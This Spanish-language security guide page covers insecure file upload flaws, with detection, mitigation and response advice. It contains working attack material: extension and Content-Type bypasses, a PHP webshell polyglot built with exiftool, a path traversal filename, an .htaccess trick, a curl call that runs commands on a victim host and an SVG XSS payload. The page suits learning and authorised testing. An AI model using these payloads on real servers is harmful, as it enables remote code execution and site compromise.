Saltearse al contenido

Subida de archivos

Una subida de archivos insegura permite al atacante colocar contenido que el servidor ejecuta, sirve o procesa de forma peligrosa. El caso estrella es subir una webshell y conseguir RCE, pero también da XSS almacenado (SVG/HTML), sobrescritura de ficheros y DoS.

RCE (webshell), XSS almacenado (SVG/HTML servidos inline), path traversal para sobrescribir ficheros, inclusión posterior (LFI), y DoS por tamaño/zip-bomb.

La validación puede estar en varios puntos y cualquiera que falle abre la puerta: extensión, Content-Type, magic bytes, tamaño, y dónde/ cómo se sirve el fichero (dentro del webroot, con ejecución habilitada).

# Extensión
shell.php.jpg shell.pHp shell.phtml / .php5 / .phar
shell.php%00.jpg (null byte, legacy)
shell.php;.jpg shell.php . (truncado/espacio)
# Content-Type
Content-Type: image/png (pero contenido PHP)
# Magic bytes / polyglot
GIF89a;<?php system($_GET[c]); ?> (imagen válida + PHP)
# Path traversal en el nombre
filename="../../var/www/html/shell.php"
# Config: subir .htaccess que haga ejecutable tu extensión
AddType application/x-httpd-php .jpg

Confirma la ejecución pidiendo el fichero subido. Para SVG/HTML, prueba XSS almacenado (SVG con script).

  1. Sube una imagen válida y mira la respuesta: ¿te devuelve la ruta?, ¿renombra el fichero?, ¿qué extensiones rechaza?
  2. Localiza el directorio de subida con recon o ffuf si la app no te da la ruta.
  3. Prueba los bypasses de uno en uno hasta dejar una webshell en el webroot con ejecución.
  4. Pide el fichero y confirma RCE con un comando inocuo (id, whoami).
Ventana de terminal
# Polyglot: PHP embebido en los metadatos de un JPG real (con exiftool)
exiftool -Comment='<?php system($_GET["c"]); ?>' foto.jpg
# súbelo con un bypass de extensión y pídelo:
curl 'https://victima/uploads/shell.php.jpg?c=id'
<!-- SVG con XSS almacenado (si el servidor lo sirve inline, no como adjunto) -->
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>

Burp (Repeater/Intruder), ffuf para localizar el directorio de subida, y listas de PayloadsAllTheThings (Upload Insecure Files).

RCE → pivote; XSS almacenado → ATO; sobrescritura → manipulación de la app.

  • Ficheros con extensión ejecutable o doble extensión en el directorio de subidas.
  • El servidor web ejecutando scripts desde rutas de contenido subido.

Logs de subida, FIM del directorio de uploads, EDR por ejecución anómala.

  1. Lista blanca de extensiones y tipos y magic bytes (los tres).
  2. Renombrar a un nombre aleatorio y guardar fuera del webroot (o en un bucket) servido con Content-Disposition: attachment y sin ejecución.
  3. Re-codificar imágenes (elimina polyglots/EXIF malicioso); límites de tamaño.
  4. Antivirus/scan; nunca confiar en el Content-Type del cliente.

Eliminar el fichero, buscar webshells/persistencia, rotar secretos y corregir la validación + ubicación de almacenamiento.

  • Subidas inseguras → webshell es un patrón recurrente en CMS, foros y paneles; base de innumerables CVEs y de compromisos reales.
  • Procesadores de imágenes (p. ej. ImageMagick / “ImageTragick” CVE-2016-3714) han permitido RCE al procesar ficheros subidos.

CVEs concretos en NVD (https://nvd.nist.gov/vuln/search) y GitHub Advisories (https://github.com/advisories).

  • Bypass de extensión/Content-Type/magic bytes probado.
  • Ejecución del fichero subido confirmada (webshell) si aplica.
  • XSS almacenado probado con SVG/HTML.
  • Path traversal en el nombre probado.
  • Impacto documentado sin dañar el sistema.